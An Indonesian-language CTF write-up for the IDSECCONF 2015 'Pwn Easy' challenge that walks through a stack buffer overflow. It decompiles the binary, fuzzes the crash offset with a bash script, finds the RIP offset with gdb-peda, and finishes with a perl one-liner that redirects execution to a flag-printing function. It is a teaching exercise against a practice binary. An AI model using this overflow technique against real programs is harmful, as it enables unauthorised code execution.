[IDSECCONF Online 2015] Pwn Easy

Masalah

Diberikan berkas pwneasy yang jika didekompilasi menjadi kode seperti ini.

int indonesia()
{
  return system("cat flag.txt");
}

ssize_t jalan_keflag()
{
  char buf; // [sp+0h] [bp-80h]@1

  return read(0, &buf, 0x200uLL);
}

int __cdecl main(int argc, const char **argv, const char **envp)
{
  write(1, "++IMPOSSIBLE MISSIONS FORCE - SEKTOR MAMPANG PRAPATAN++\n\t\tServer Akses\nMasukkan ID Agen: ", 0x5AuLL);
  jalan_keflag(1LL, "++IMPOSSIBLE MISSIONS FORCE - SEKTOR MAMPANG PRAPATAN++\n\t\tServer Akses\nMasukkan ID Agen: ");
  return puts("Akses Ditolak");
}

Penyelesaian

Pengumpulan Informasi

Periksa keamanan binary dengan checksec.

$ checksec pwneasy
[*] '/../pwneasy'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000

Tidak ada canary sehingga bisa melakukan stack smashing pada binary dan berdasarkan source code, program meminta input dengan maksimum buffer sebesar 0x200 bytes.

Identifikasi Kelemahan

Ada fungsi read yang tidak diproteksi sehingga pengguna bisa memasukkan input yang banyak agar binary crash dan mendapatkan pesan Segmentation Fault. Untuk mengetahui jumlah bytes yang tepat untuk mendapatkan pesan tersebut, gunakan script dibawah ini.

find_segfault_by_input.sh

#!/bin/bash

buffer=""
for i in {1..2048}
do
    echo $i
    buffer+="A"
    echo $buffer > /tmp/delete.me
    ./$1 < /tmp/delete.me
    if [ $? -eq 139 ]; then
        echo "SEGMENTATION FAULT on $i BUFFER"
        break
    fi
done

Luaran.

~ skipped ~
++IMPOSSIBLE MISSIONS FORCE - SEKTOR MAMPANG PRAPATAN++
        Server Akses
Masukkan ID Agen: Akses Ditolak
127
++IMPOSSIBLE MISSIONS FORCE - SEKTOR MAMPANG PRAPATAN++
        Server Akses
Masukkan ID Agen: Akses Ditolak
128
++IMPOSSIBLE MISSIONS FORCE - SEKTOR MAMPANG PRAPATAN++
        Server Akses
Masukkan ID Agen: Akses Ditolak
./find_segfault_by_input.sh: line 4: 25181 Segmentation fault      (core dumped) ./$1 < /tmp/delete.me
SEGMENTATION FAULT on 128 BUFFER

Ternyata jumlah bytes yang dapat menyebabkan pesan Segmentation Fault sebesar 128 bytes.

Eksploitasi

Buka GDB, dan periksa stack yang ada dalam binary.

$ gdb -q pwneasy
gdb-peda$ r < /tmp/delete.me

Luaran.

++IMPOSSIBLE MISSIONS FORCE - SEKTOR MAMPANG PRAPATAN++
        Server Akses
Masukkan ID Agen: Akses Ditolak

Program received signal SIGSEGV, Segmentation fault.

[----------------------------------registers-----------------------------------]
RAX: 0xe
RBX: 0x0
RCX: 0x7ffff7b04290 (<__write_nocancel+7>:    cmp    rax,0xfffffffffffff001)
RDX: 0x7ffff7dd3780 --> 0x0
RSI: 0x602010 ("Akses Ditolak\n")
RDI: 0x1
RBP: 0x7ffff7a7
RSP: 0x7fffffffe212 --> 0xe20a000000000000
RIP: 0x40067e (<main+56>:    ret)
R8 : 0x602000 --> 0x0
R9 : 0xd ('\r')
R10: 0x7ffff7dd1b78 --> 0x602410 --> 0x0
R11: 0x246
R12: 0x400520 (<_start>:    xor    ebp,ebp)
R13: 0x7fffffffe320 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x400673 <main+45>:    mov    edi,0x400772
   0x400678 <main+50>:    call   0x4004c0 <puts@plt>
   0x40067d <main+55>:    leave  
=> 0x40067e <main+56>:    ret    
   0x40067f:    nop
   0x400680 <__libc_csu_init>:    push   r15
   0x400682 <__libc_csu_init+2>:    push   r14
   0x400684 <__libc_csu_init+4>:    mov    r15d,edi
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe212 --> 0xe20a000000000000
0008| 0x7fffffffe21a --> 0x52000007fffffff
0016| 0x7fffffffe222 --> 0x67d000000000040
0024| 0x7fffffffe22a --> 0xe328000000000040
0032| 0x7fffffffe232 --> 0x7fffffff
0040| 0x7fffffffe23a --> 0x680000000010000
0048| 0x7fffffffe242 --> 0xd830000000000040
0056| 0x7fffffffe24a --> 0x7ffff7a2
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x000000000040067e in main ()

Ternyata register RIP belum tertimpa oleh buffer input. Untuk menimpanya, tambahkan sebesar 12 byte sehingga menjadi 140 byte dan gunakan pattern create untuk mendapatan posisi register RIP.

gdb-peda$ pattern create 140 delete.me
gdb-peda$ r < delete.me

Luaran.

++IMPOSSIBLE MISSIONS FORCE - SEKTOR MAMPANG PRAPATAN++
        Server Akses
Masukkan ID Agen:
Program received signal SIGSEGV, Segmentation fault.

[----------------------------------registers-----------------------------------]
RAX: 0x8c
RBX: 0x0
RCX: 0x7ffff7b04230 (<__read_nocancel+7>:    cmp    rax,0xfffffffffffff001)
RDX: 0x200
RSI: 0x7fffffffe1a0 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQA")
RDI: 0x0
RBP: 0x6c41415041416b41 ('AkAAPAAl')
RSP: 0x7fffffffe230 --> 0x7fffffffe328 --> 0x7fffffffe5f9 ("/home/dummy/Private/progress/beeps/dev/assets/sample-3/pwneasy")
RIP: 0x41514141 ('AAQA')
R8 : 0x4006f0 (<__libc_csu_fini>:    repz ret)
R9 : 0x7ffff7de7ab0 (<_dl_fini>:    push   rbp)
R10: 0x37b
R11: 0x246
R12: 0x400520 (<_start>:    xor    ebp,ebp)
R13: 0x7fffffffe320 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x10207 (CARRY PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41514141
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe230 --> 0x7fffffffe328 --> 0x7fffffffe5f9 ("/home/dummy/Private/progress/beeps/dev/assets/sample-3/pwneasy")
0008| 0x7fffffffe238 --> 0x100000000
0016| 0x7fffffffe240 --> 0x400680 (<__libc_csu_init>:    push   r15)
0024| 0x7fffffffe248 --> 0x7ffff7a2d830 (<__libc_start_main+240>:    mov    edi,eax)
0032| 0x7fffffffe250 --> 0x0
0040| 0x7fffffffe258 --> 0x7fffffffe328 --> 0x7fffffffe5f9 ("/home/dummy/Private/progress/beeps/dev/assets/sample-3/pwneasy")
0048| 0x7fffffffe260 --> 0x100000000
0056| 0x7fffffffe268 --> 0x400646 (<main>:    push   rbp)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0000000041514141 in ?? ()
gdb-peda$

Ternyata register RIP sudah berhasil ditimpa dengan buffer AAQA, selanjutnya mencari indeks register RIP pada buffer delete.me.

echo `python -c 'print open("delete.me").read().rstrip().index("AAQA")'`

Luaran.

136

Dengan demikian fungsi indonesia() bisa dipanggil dengan meletakkan alamatnya pada akhir payload. Alamat fungsi indonesia() dapat diketahui dengan perintah dibawah ini.

$ nm pwneasy | grep indonesia
0000000000400616 T indonesia

Ini dia script penyelesaian akhir.

perl -e 'printf "A"x136 . "\x16\x06\x40"' | ./pwneasy

Luaran.

++IMPOSSIBLE MISSIONS FORCE - SEKTOR MAMPANG PRAPATAN++
        Server Akses
Masukkan ID Agen: FLAG{its_works}
~ skipped ~

results matching ""

    No results matching ""